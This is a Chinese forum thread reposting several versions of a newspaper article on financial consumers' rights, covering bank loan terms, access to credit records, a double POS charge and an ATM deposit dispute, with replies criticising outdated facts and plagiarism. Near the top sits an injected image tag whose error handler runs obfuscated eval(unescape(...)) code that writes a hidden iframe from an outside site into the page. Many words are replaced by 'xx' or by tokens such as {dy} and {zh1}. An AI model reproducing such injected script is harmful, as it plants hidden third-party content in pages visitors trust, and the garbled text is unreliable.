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金融消费 欲说维权好困惑(法眼看热点) [转贴 2010-05-12 00:11:56]   
金融消费 欲说维权好困惑(法眼看热点)
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
金融消费  欲说维权好困惑(法眼看热点)


一良


    随着《消费者权益保护法》影响的扩大,一些银行也从消费者的角度来看待自己的客户,为金融消费者维权的观念和行动都提升了许多。事实上,银行的客户也确实是受《消费者权益保护法》保护的消费者,《消费者权益保护法》第2条规定:“消费者为生活消费购买、使用商品或者接受服务,其权益受本法保护。”按此立法精神,既然金融客户为生活消费而接受的是金融企业提供的各类金融服务,那么,他们当然就是不折不扣的消费者了。但现在很多金融企业在描述金融服务对象时,很少认同“消费者”这一概念,似乎金融企业服务的对象不是消费者。因此,在一些地方,金融消费者的权益被银行忽略了。

    xx消费不公平

    《消费者权益保护法》第十条规定:消费者有权获得公平交易条件,有权拒绝经营者的强制交易。现在,购房、买车、旅游、上学都可到银行xx,银行对个人xx的热情“一浪高过一浪”,但有些xx合同上的条款对xx消费者来说实在有点不公平。比如xx买房必须要办保险,虽然xx消费者可以拒绝办理保险这项强制交易,但这也同时意味着你在这家银行贷不到款了。因此,要想xx你必须接受这项强制交易。又如,有的银行在办理存单质押xx时规定,只有该行的存款人持该行存单质押,才可贷到存单记载金额一定比例的金额。再如,在一家银行个人信用xx评分标准中,有一大项内容是问申请人是否是本行的客户,是否用过本行的金融产品,与本行的业务关系有多长时间等。这就表明,这家银行推出的个人信用xx业务只是其它业务的配套产品,在很大程度上只对本行的熟客提供融资方便。对这些强制交易,xx消费者实际上是不能拒绝的。

    个人征信不平等

    如今,人们对个人信用越来越重视,拥有良好的信用记录已被普遍认为是公民在经济活动中不可或缺的“通行证”。但“个人信用”不能只是无形资产,必须有相应的法律法规将其固定变无形为有形,于是“信用档案”的建立被正式提上了议事日程。深圳还专门以地方立法的形式做了明确规定。其实,早在1999年7月,从事个人信用信息采集、咨询、评估及管理等工作的个人信用中介机构———上海一家公司就已开始了这方面的工作,他们从银行采集的个人信用信息主要包括:个人xx及偿还记录和信用卡透支情况记录,以及个人在银行发生的不良信用特别记录。但在运做过程中却忽略了那些被采集者———与银行发生过业务往来的金融消费者的权益。《消费者权益保护法》第四条规定:经营者与消费者进行交易,应当遵循自愿、平等、公平、诚实信用的原则。第八条规定:消费者享有知悉其购买、使用的商品或者接受的服务的真实情况的权利。但是,根据当前的有关规定,上海这家公司暂时不对个人开放。这就是说,个人不能查阅自己的信用档案。自己的信用档案有什么内容,档案的真实性本人无法知道。这显然是不平等的,侵犯了金融消费者的知情权。通过个人征信建立个人信用制度是件好事,但如果为办好事而无视金融消费者的权益,恐怕这件事最终办不好。

    商场“POS”不安全

    《消费者权益保护法》第七条规定:消费者在购买、使用商品和接受服务时享有人身、财产安全不受损害的权利。消费者有权要求经营者提供的商品和服务,符合保障人身、财产安全的要求。但POS机的安全性有时不能令人xx信任。

    笔者用银行信用卡花2450元购买了一台空调,后来却发现卡上多划去了2450元。原来是商场收银员多收了一次钱。当时,收银小姐将信用卡在POS机上划了半天也划不过去,让我到二楼试试,到了二楼一次就划卡成功了。问题显然是出在{dy}位收银小姐身上,当时实际上已划卡成功,但由于网络的原因机器未显示。我往商场、银行两头跑了多次,虽然最终将多划走2450元找回来了,但我又累又得给人赔笑脸,却没有听到一声银行因为自己提供的商品和服务未保障我的财产安全而向我道歉的话,不知我这个金融消费者的权益何在。

    自动柜员机纠纷难处理

    《消费者权益保护法》是1994年施行的。那时,我国银行的自动柜员机(ATM)还很少,远不象现在随处可见。《消法》不可能涉及到这方面的规定,但在以下案例中,《消法》第二十四条规定的“经营者不得以格式合同、通知、声明、店堂告示等方式作出对消费者不公平、不合理的规定”是可以适用的。

    孙先生在银行自动柜员机存入5000元,当时柜员机“吐”出的客户通知书中,“金额”一栏印着“RMB5000.00”,而“请与银行联系”栏下则打有符号,他当即咨询银行办事处柜台人员。对方表示,如果真的存钱进去,那就没事了。几天后,孙先生取款时,发觉5000元并没有到账。银行方面表示,根据他们的电脑记录,孙先生当时是超时操作,交易没成功,这在柜员机发出的通知书上已反映出来。按照目前有关规定,客户存款的进账及金额,以银行的确认为准。银行这种做法就有点格式合同的味道———你用我的东西(ATM)就要听我的(银行内部规定),但孙先生作为普通消费者,不可能了解银行的内部操作,银行依内部规定就认定以银行的确认为准,对孙先生这样的金融消费者来讲显然是不合理、不公平的。可是,孙先生想告银行却没证据,他除了一张根本看不懂的印着“RMB5000.00”和“请与银行联系”的对账单外,什么也没有,而纠纷正是因为对账单上的记载不明白。

    虽然说银行有义务保证ATM能够正常工作,提供充分的信息以使其使用者能够准确无误的操作,但如果银行不尽这个义务,《消费者权益保护法》能给银行ATM的消费者一个说法吗?


来源:《市场报》 2007年05月12日

[ 本贴由 慕容听雪 于 2007-5-13 12:51 {zh1}编辑 ]
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QUOTE:慕容听雪 于 2007-5-13 11:51 写道:
但是,根据当前的有关规定,上海这家公司暂时不对个人开放。这就是说,个人不能查阅自己的信用档案。自己的信用档案有什么内容,档案的真实性本人无法知道。这显然是不平等的,侵犯了金融消费者的知情权。通过个人征信建立个人信用制度是件好事,但如果为办好事而无视金融消费者的权益,恐怕这件事最终办不好。 ... 象这种没有经过实际调查就胡乱写文章,实在是可恶!
:(:(:(
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QUOTE:慕容听雪 于 2007-5-13 11:53 AM 写道:
象这种没有经过实际调查就胡乱写文章,实在是可恶!
:(:(:( 上海联合证信公司成立之初(从1999年7月到2007年底)是不能提供个人查询功能的;但是在2007年初已经提供了4家供个人查询信用报告的银行机构,虽然要收30元费用,但是个人总算可以查询自己的信用记录了;目前正在开发个人信用网上查询,如果条件成熟,相信很快就可以投入使用了。

显然,文章虽然是新的,但是引用的资料确是过时的!
同意慕容的观点没有实际调查就胡乱写文章,不止是可恶!简直是可恨!!可恨到极点!!!

[ 本贴由 51388 于 2007-5-13 12:10 {zh1}编辑 ]
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QUOTE:51388 于 2007-5-13 12:07 写道:
上海联合证信公司成立之初(从1999年7月到2007年底)是不能提供个人查询功能的;但是在2007年初已经提供了4家供个人查询信用报告的银行机构,虽然要收30元费用,但是个人总算可以查询自己的信用记录了;目前正在开发个人信用网上查询,如果条件成熟,相信很快就可以投入使用了。... 网上查询固然便利
可是,能否确保安全却是关键
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金融消费者的权益不容忽视



    “消费者是上帝”已成为各商家的共识。银行的客户也是受《消费者权益保护法》保护的消费者。但现在很多银行在描述金融服务对象时,很少认同“消费者”概念,似乎银行服务的对象不是消费者。在一些地方,金融消费者的权益有时就被银行有心无心地忽略了。

    xx消费欠公平

    《消费者权益保护法》第十条规定:消费者有权获得公平交易条件,有权拒绝经营者的强制交易。
    现在,购房、买车、旅游、上学都可到银行xx,银行对个人xx的热情“一浪高过一浪”,但有些xx合同条款对xx消费者来说实在有点不公平。
    比如xx买房必须要办保险,虽然xx消费者可以拒绝办保险这项强制交易,但这也同时意味着你在这家银行贷不到款了,因此,要想xx你必须接受这项强制交易。又如,有的银行在办理存单质押xx时规定,只有该行的存款人持该行存单质押才可贷到存单记载金额一定比例的金额。
    这就表明,这家银行推出的个人信用xx业务只是其它业务的配套产品,在很大程度上只对本行的熟客提供融资方便。对这些强制交易,xx消费者实际上是不能拒绝的。

    个人征信欠平等

    现在,信用的话题不断被人们提起且热度不减,人们对个人信用高度重视起来,拥有良好的信用记录已被普遍认为是公民在经济活动中不可或缺的“通行证”。其实,早在1999年7月,国内xx从事个人信用信息采集、咨询、评估及管理等工作的个人信用中介机构——上海资信有限公司就已开始了这方面的工作。他们从银行采集的个人信用信息主要包括:个人xx及偿还记录和信用卡透支情况记录,以及个人在银行发生的不良信用特别记录。但在运作过程中却忽略了那些被采集者——与银行发生过业务往来的金融消费者的权益。
    《消费者权益保护法》第四条规定:经营者与消费者进行交易,应当遵循自愿、平等、公平、诚实信用的原则。第八条规定:消费者享有知悉其购买、使用的商品或者接受的服务的真实情况的权利。但是,根据当前的有关规定,上海资信有限公司暂时不对个人开放。这就是说,个人不能查阅自己的信用档案。自己的信用档案有什么内容,档案的真实性本人无法知道。这显然是不平等的,侵犯了金融消费者的知情权。通过个人征信建立个人信用制度是件好事,但如果为办好事而无视金融消费者的权益恐怕这件事最终办不好。

    POS机损人不道歉

    《消费者权益保护法》第七条规定:消费者在购买、使用商品和接受服务时享有人身、财产安全不受损害的权利。消费者有权要求经营者提供的商品和服务,符合保障人身、财产安全的要求。但银行的POS机则可能损害金融消费者。
    一次,笔者坐公共汽车被小偷掏包,信用卡也被掏了去。到银行挂失时发现卡上凭空少了2450元。仔细回忆一下,我清楚记起了买空调的过程:选好空调后,我问售货员能否用信用卡结算,她说能,并指给了我一个收银台。收银小姐划了半天卡划不过去,让我到二楼试试,到了二楼体育用品专区一次就划卡成功了。问题显然是出在{dy}位收银小姐身上,当时实际上已经划过去了,但由于网络的原因机器未显示。
    此后我在商场银行两头跑了多次,最终虽然找回了丢失的2450元,但银行一声向我道歉的话都没有。都说消费者是上帝,由于银行POS机的问题,累得我上窜下跳,跑了个腿细,责任不在我,却反要给人赔笑脸。不知我这个金融消费者的权益何在。

    ATM出了纠纷难处理

    《消费者权益保护法》是1993年颁布、1994年施行的。那时,我国银行的ATM(自动柜员机)还很少,远不像现在随处可见。《消费者权益保护法》不可能涉及到这方面的规定,但在以下案例中,《消费者权益保护法》第二十四条规定的“经营者不得以格式合同、通知、声明、店堂告示等方式作出对消费者不公平、不合理的规定”是可以类推适用的。
    孙先生在某银行自动柜员机存入5000元,当时柜员机吐出的客户通知书中,金额一栏印着“RMB5000.00”,而“请与银行联系”栏下则打有“ii  ii”符号。孙先生当即咨询该办事处柜台人员。对方表示,如果真的存了钱进去,那就没事了。几天后孙先生取款时,发觉所存入的5000元并没到帐,他马上到该办事处查询。银行方面表示,根据他们的电脑记录,孙先生当时是超时操作,交易没成功,这在柜员机出的通知书上已反映出来。按照目前有关规定,客户存款的进帐及金额,以银行的确认为准。
    银行这种做法就有点“格式合同”的味道——你用我的东西(ATM),就要听我的(银行内部规定)。
    但孙先生作为普通消费者,不可能了解银行的内部操作,银行依内部规定就认定以银行的确认为准,对孙先生这样的金融消费者来讲显然是不合理、不公平的。可是孙先生想告银行却没证据,他除了一张印着“RMB5000.00”和“请与银行联系ii  ii”他根本看不懂的对帐单外,什么也没有,而纠纷正是因为对帐单上的记载不明白。虽然说银行有义务保证ATM能够正常工作,提供充分的信息以使其使用者能够准确无误的操作,但如果银行不尽这个义务,《消费者权益保护法》能给银行ATM的消费者一个说法吗?

作    者:笑 雪
文章来源:经济参考报
发布日期:2007-6-12
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个人联合征信:如何保障金融消费者的权益?

    王   路   全武英



    随着市场经济体制的发展和完善,人们对个人信用高度重视起来,拥有良好的信用记录就成了公民在经济活动中不可或缺的“通行证”,个人信用这种无形资产开始发挥其特有的使用价值了。

    1999年7月,上海资信有限公司正式成立,这是国内xx从事个人信用信息采集、咨询、评估及管理等工作的个人信用中介机构。特别是今年7月1日,“个人信用档案数据中心”已向在沪的15家中资银行全面开放,这些银行只要付出10元人民币,等候5秒钟,就可以得到已进入“数据中心”的个人信用信息。这对于个人金融服务,特别是开展个人消费信贷业务来说,省时省力。但同时我们也应看到,由于种种原因,个人联合征信这种新兴信用模式对金融消费者个人合法权益的保护还有待于进一步加强。这主要表现在以下三个方面:

    一、金融消费者的知情权没有得到有效确认。其一是信息采集的知情权。当前,资信公司采集个人可透支信用卡信息及xx信息是直接从有关银行信用部门登录,作为这些金融活动的一方当事人———金融消费者很少有自己的主动权。金融消费者应事先被告知自己的这些信贷活动将会进入“个人信用数据中心”,并且一旦产生不良行为将影响个人的信用记录。这可以使金融消费者在进行此类活动时采取谨慎的态度,从而避免因信贷行为不当而影响自己的信用度等。其二是信用档案内容的知情权。根据当前的有关规定,上海资信有限公司暂时不对个人开放。这就是说,个人不能查阅自己的信用档案。自己的信用档案有什么内容,档案的真实性本人无法知道。

    二、个人信用无形资产的受益权不够全面。我们建立个人信用档案的目的是为了方便金融经济活动,在这方面金融消费者是受益人,但个人信用记录的使用价值还远远不止这些。随着我国个人征信制度的发展和完善,其商业运作是必然趋势。如果个人资信公司利用个人的信用资料赚钱,是不是这些公司也应给信用信息的所有人一定的费用?有资料表明,上海资信有限公司今后将逐步采取收费的办法对公民开放本人的信用档案,这是否合理?怎样保护个人信用无形资产的使用价值不被所有者以外的他人无偿使用?

    三、个人经济隐私权受到一定程度的威胁。我们知道,个人的信用记录是个人经济活动的一个重要组成部分,在一定程度上反映了个人经济行为的轨迹,对个人,特别是经商的人有重要的价值。在以后商业化运作的情况下,如何限定个人信用资料的公开范围,怎样防止他人窃取一些重要的个人信用信息,这都是金融消费者xx的热点。

    此外还有因地域因素造成偏远地区的金融消费者信用资源开发乏力,个人信用成本普遍高于经济发达地区的金融消费者等问题,都应引起我们的高度重视。只有这样,个人联合征信的信用模式才能更加健康地发展,才能为我国经济的发展发挥更大的作用。



来源:《人民日报》 2007年08月25日
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金融消费维权不易 

文/笑雪 本记



  随着《消费者权益保护法》影响的扩大,“消费者是上帝”已成为今日商家的共识。《消费者权益保护法》第二条规定:“消费者为生活消费购买、使用商品或者接受服务,其权益受本法保护。”按此立法精神并结合国际惯例来看,消费者是指为生活需要而购买、使用商品或接受服务的个人或单位。既然银行客户接受的是银行提供的各类金融服务,那么,他们当然就是不折不扣的消费者了。但现在很多银行在描述金融服务对象时,很少认同“消费者”概念,因此在一些地方,某些时候金融消费者的权益就被银行有心无心地忽略了。


困惑1:xx消费规则欠公平 

  《消费者权益保护法》第十条规定:消费者有权获得公平交易条件,有权拒绝经营者的强制交易。

  现在,购房、买车、旅游、上学都可到银行xx,银行对个人xx的热情“一浪高过一浪”,但有些xx合同条款对xx消费者来说实在有点儿不公平。比如xx买房必须要办保险,虽然xx消费者可以拒绝办保险这项强制交易,但这也同时意味着你在这家银行将贷不到款,因此,要想xx你必须接受这项强制交易。又如,有的银行在办理存单质押xx时规定,只有该行的存款人持该行存单质押才可贷到存单记载金额一定比例的金额。再如,在一家银行个人信用xx评分标准中,有一大项内容是问申请人是否本行的客户,是否用过本行的金融产品,与本行的业务关系有多长时间等。这就表明,这家银行推出的个人信用xx业务只是其它业务的配套产品,在很大程度上只对本行的原有客户提供融资方便。对这些强制交易,xx消费者实际上是不能拒绝的。


困惑2:个人征信制度欠平等 

  现在,信用的话题不断被提起,人们对个人信用高度重视起来,拥有良好的信用记录已被普遍认为是公民在经济活动中不可或缺的“通行证”。但“个人信用”不能只是“无形资产”,必须有相应的法律法规将其固定变无形为有形,于是“信用档案”的建立被正式提上了议事日程。北京、浙江、山东等地政府已经着手这方面的工作,深圳还专门以地方立法的形式做了明确规定。其实,早在1999年7月,国内xx从事个人信用信息采集、咨询、评估及管理等工作的个人信用中介机构————上海资信有限公司,就已开始了这方面的工作,他们从银行采集的个人信用信息主要包括:个人xx及偿还记录和信用卡透支情况记录,以及个人在银行发生的不良信用特别记录。但在运作过程中却忽略了那些被采集者————与银行发生过业务往来的金融消费者的权益。《消费者权益保护法》第四条规定:经营者与消费者进行交易,应当遵循自愿、平等、公平、诚信的原则。第八条规定:消费者享有知悉其购买、使用的商品或者接受的服务的真实情况的权利。但是,根据当前的有关规定,个人资信档案暂时不对个人开放。这就是说,个人不能查阅自己的信用档案,自己的信用档案有什么内容,档案的真实性本人无法知道。这显然是不平等的,侵犯了金融消费者的知情权。通过个人征信建立个人信用制度是件好事,但如果为办好事而无视金融消费者的权益恐怕会使事情最终办不好。


困惑3:商场“POS”消费欠安全 

  《消费者权益保护法》第七条规定:消费者在购买、使用商品和接受服务时享有人身、财产安全不受损害的权利。消费者有权要求经营者提供的商品和服务,符合保障人身、财产安全的要求。

  孙先生用某银行信用卡购买了一台空调,一次乘车被盗,信用卡丢失。到银行挂失时发现卡上凭空少了2450元,孙先生清楚记得在这期间既未在商场“POS”机上划卡,也未在银行自动柜员机和储蓄所里取钱,这钱是怎么“不翼而飞”了呢?{zh1}在银行工作人员的帮助下终于真相大白,原来是买空调时商场的收银员多收了一次钱!孙先生仔细回忆一下,记起了买空调的过程:选好空调后,问售货员能否用信用卡结算,她说能,并指给了一个收银台,收银小姐划了半天卡划不过去,让到二楼试试,到了二楼体育用品专区一次就划卡成功了。问题显然是出在{dy}位收银小姐身上,当时实际上已经划过去了,但由于网络的原因机器未显示。

  为了找回多划的钱,孙先生在商场银行间跑了多次。虽然最终得到圆满解决,但银行因为自己“提供的商品和服务”————POS机,不符合“保障财产的安全”(划卡后不显示款已划出)而并未向消费者说一句道歉的话。试想一下,假如商场和银行不配合,你用什么证明自己没有消费掉这2450元钱呢?


困惑4:自动取款纠纷难处理 

  《消费者权益保护法》颁布时,我国银行的ATM(自动柜员机)还很少,远不像现在随处可见。《消费者权益保护法》尚未涉及到这方面的规定,但在以下案例中,《消费者权益保护法》第24条规定的“经营者不得以格式合同、通知、声明、店堂告示等方式作出对消费者不公平、不合理的规定”是可以类推适用的。

  杜先生在某银行自动柜员机存入5000元,当时柜员机“吐”出的客户通知书中,“金额”一栏印着“RMB5000.00”,而“请与银行联系”栏下则打有“ⅱⅱ”符号。杜先生当即咨询该办事处柜台人员,对方表示,如果真的存钱进去,那就没事了。几天后杜先生取款时,发觉所存入的5000元并没到账,他马上到该办事处查询。银行方面表示,根据他们的电脑记录,杜先生当时是超时操作,交易没成功,这在柜员机出的通知书上已反映出来。按照目前有关规定,客户存款的进账及金额,以银行的确认为准。银行这种做法就有点“格式合同”的味道————你用我的东西(ATM)就要听我的(银行内部规定),但杜先生作为普通消费者,不可能了解银行的内部操作,银行依内部规定就认定以银行的确认为准,对杜先生这样的金融消费者来讲显然是不合理、不公平的,可是杜先生想告银行却没证据,他除了一张印着“RMB5000.00”和“请与银行联系ⅱⅱ”他根本看不懂的对账单外什么也没有,而纠纷正是因为对账单上的记载不明白。

  除了上述案例外,在自动柜员机上完成操作程序却不见窗口吐出现金、从自动柜员机上取到xx等等遭遇,对消费者来说,都往往自认倒霉了事,因为如果银行方面不“仗义”,你是举不出证明自己无辜的证据的。

  虽然说银行有义务保证ATM能够正常工作,提供充分的信息以使其使用者能够准确无误的操作,但如果银行不尽这个义务,《消费者权益保护法》能给银行ATM的消费者一个说法吗?有时候,消费者利用法律武器合法维权,倒是对商家公平服务的有力推动和促进。


来源:《齐鲁晚报》 2007-08-13
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“天下文章一大抄”到了如此地步
xx可以“闭门造火箭”了

或许是“一稿多投”?


[ 本贴由 慕容听雪 于 2007-5-13 12:58 {zh1}编辑 ]
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QUOTE:慕容听雪 于 2007-5-13 12:55 PM 写道:
“天下文章一大抄”到了如此地步
xx可以“闭门造火箭”了

或许是“一稿多投”?
应该是“遗稿多抄”
这就是目前的中国宣传界现状!!
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中国个人信用制度起步上海 个人信用报告接轨世界




    近日,在一家外企就职的邬小姐从上海资信公司获得了一份个人信用报告。报告中显示,她在偿还银行消费xx、使用信用卡透支业务,以及支付手机费用等方面,没有不良信用记录。她说: “有了这份报告,我就等于拥有了一张‘经济身份证’。”
   
    邬小姐是{dy}批申领个人信用报告的上海市民之一。在上海,象邬小姐这样拥有个人信用记录的市民约有240万。
   
    去年6月28日,上海正式开通个人信用联合征信系统。中国个人信用制度从这个东部沿海最发达的城市开始起步。
   
    个人信用联合征信是指由第三方中介机构将分散在各商业银行和社会有关方面的个人信用和信誉信息加工汇集起来,形成个人信用档案信息数据库,为银行和社会有关方面了解个人的信用和信誉状况提供服务。在世界发达国家,个人信用联合征信已经有150年的历史,在香港也已有18年的历史。
   
    上海个人信用联合征信服务系统,由上海资信公司负责实际操作。这是中国内地xx专门开展个人信用联合征信的中介机构。目前,上海市个人信用数据中心的理事有18家,其中包括在沪的16家商业银行和上海移动通信有限责任公司、中国联合通信有限公司上海分公司。
   
    来自上海资信公司的统计显示,一年来,这个服务系统已经先后接受来自16家商业银行的查询请求约10万笔,提供了4万多份个人信用报告。
   
    日前,这个机构又推出了信用报告个人查询业务。曾与商业银行发生过信贷业务往来、申领过可透支信用卡,或者在上海移动通信公司、中国联通公司上海分公司注册的市民,通过网上或电话预约,在确定自己拥有信用报告后,就可以至有关网点进行查询。
   
    目前,个人信用报告包括个人身份信息、银行信用、非银行记录、特别记录、查询记录及异议记录等。
   
    此间业内人士表示,信用报告个人查询业务的推出,不仅是上海个人信用联合征信业务逐步走向规范、成熟的标志,也为今后非银行机构参阅、使用个人信用报告奠定了基础。
   
    据了解,个人信用报告目前主要被用于信用卡和消费xx的申请。今后,个人信用报告的应用范围将逐渐扩大到包括租赁、求职在内的社会经济生活的方方面面。


来源:新华网 2007年7月3日

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